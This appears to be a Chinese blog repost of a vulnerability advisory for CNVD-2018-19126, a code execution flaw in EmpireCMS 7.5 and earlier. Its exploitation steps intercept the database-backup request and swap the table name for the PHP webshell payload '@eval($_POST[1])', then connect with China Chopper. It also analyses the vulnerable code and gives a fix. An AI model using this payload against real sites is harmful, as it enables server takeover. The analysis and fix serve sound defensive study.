java中的接口是类吗
508
2022-10-09
CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell(cnvd-2021-15822)
[漏洞描述]
EmpireCMS是一套免费的CMS(内容管理系统)。
EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。
[影响版本]
<=7.5
[漏洞危害]
高
[漏洞位置]
/e/admin/admin/ebak/phome.php [系统]-[系统设置]-[备份与恢复数据]-[备份数据]
[漏洞利用]
在[系统]-[系统设置]-[备份与恢复数据]-[备份数据],选择任意数据表。
使用Burpsuit截取数据包。
将表名修改为一句话木马。
#字段 tablename[]=xxxxxxxx # 修改为: tablename[]=@eval($_POST[1])
使用菜刀连接。
[漏洞分析]
系统在/upload/e/admin/ebak/phome.php文件中接受备份数据库传递的参数。
elseif($phome=="DoEbak") { Ebak_DoEbak($_POST,$logininid,$loginin); }
接受参数后,传递到\upload\e\admin\ebak\class\functions.php文件中的Ebak_DOEbak函数中。Ebak_DOEbak函数接受参数后,将数据库表名传递给变量$tablename。
$tablename=$add['tablename']; $count=count($tablename); if(empty($count)){ printerror("MustChangeOneTable","history.go(-1)"); } $add['baktype']=(int)$add['baktype']; $add['filesize']=(int)$add['filesize']; $add['bakline']=(int)$add['bakline']; $add['autoauf']=(int)$add['autoauf']; if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype'])){ printerror("FileSizeEmpty","history.go(-1)"); }
系统对表名遍历将其赋值给$b_table和$d_table。在$d_table处将表名拼接为字符串。对拼接而成$tb数组未对其中的键值名添加双引号。
$b_table=""; $d_table=""; for($i=0;$i<$count;$i++){ $tablename[$i]=RepPostVar($tablename[$i]); $b_table.=$tablename[$i].","; $d_table.="\$tb[".$tablename[$i]."]=0;\r\n"; }
在生成config.php文件的过程中,对于$d_table没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞。
$string=""; $cfile=$bakpath."/".$add['mypath']."/config.php"; WriteFiletext_n($cfile,$string);
插入恶意代码后生成的config.php文件。
[漏洞修复]:
在生成config.php文件时对表名处增加双引号。
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
发表评论
暂时没有评论,来抢沙发吧~